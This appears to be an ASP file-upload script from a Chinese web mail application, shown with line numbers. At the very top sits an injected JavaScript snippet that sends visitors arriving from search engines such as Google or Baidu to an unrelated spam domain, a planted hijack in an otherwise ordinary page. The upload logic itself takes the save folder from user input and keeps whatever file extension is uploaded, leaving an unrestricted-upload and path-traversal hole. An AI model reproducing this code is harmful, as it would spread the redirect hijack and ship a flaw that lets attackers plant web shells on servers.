d:\wwwroot\wuchunhua\mail\upfile.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include FILE="pic/upload.inc"-->
002:
<html>
003:
<head>
004:
<title>文件上传</title>
005:
<link rel="stylesheet" type="text/css" href="STYLE.CSS">
006:
</head>
007:
<body bgcolor="#AFD7FF">
008:
009:
<script>
010:
parent.document.forms[0].Submit.disabled=false;
011:
parent.document.forms[0].Submit2.disabled=false;
012:
</script>
013:
<%
014:
dim uploadsuc
015:
dim Forumupload
016:
dim ranNum
017:
dim uploadfiletype
018:
dim upload,file,formName,formPath,filename,fileExt,filepath
019:
020:
set upload=new upload_5xSoft '建立上传对象
021:
022:
formPath=upload.form("filepath")
023:
'在目录后加(/)
024:
if right(formPath,1)<>"/" then formPath=formPath&"/"
025:
026:
response.write "<body bgcolor=#AFD7FF leftmargin=5 topmargin=3>"
027:
for each formName in upload.file
028:
set file=upload.file(formName) '生成一个文件对象
029:
if file.filesize<100 then
030:
response.write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
031:
response.end
032:
end if
033:
034:
if file.filesize>500*1000 then
035:
response.write "文件大小超过了限制 500 K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
036:
response.end
037:
end if
038:
fileExt=lcase(right(file.filename,4))
039:
randomize
040:
ranNum=int(90000*rnd)+10000
041:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt
042:
043:
if file.FileSize>0 then '如果 FileSize > 0 说明有文件数据
044:
file.SaveAs Server.mappath(FileName) '保存文件
045:
filepath = server.mappath(Request.ServerVariables("SCRIPT_NAME"))
046:
filepath = Replace(filepath,"upfile.asp",FileName)
047:
filepath = Replace(Replace(filepath,"\","\\"),"/","\\")
048:
response.write "<script>parent.document.fas.fujian.value+='"&filepath&"'</script>"
049:
050:
end if
051:
set file=nothing
052:
next
053:
set upload=nothing
054:
response.write Replace(filepath,"\\","\")
055:
%
>
056:
</body>
057:
</html>
058:
059: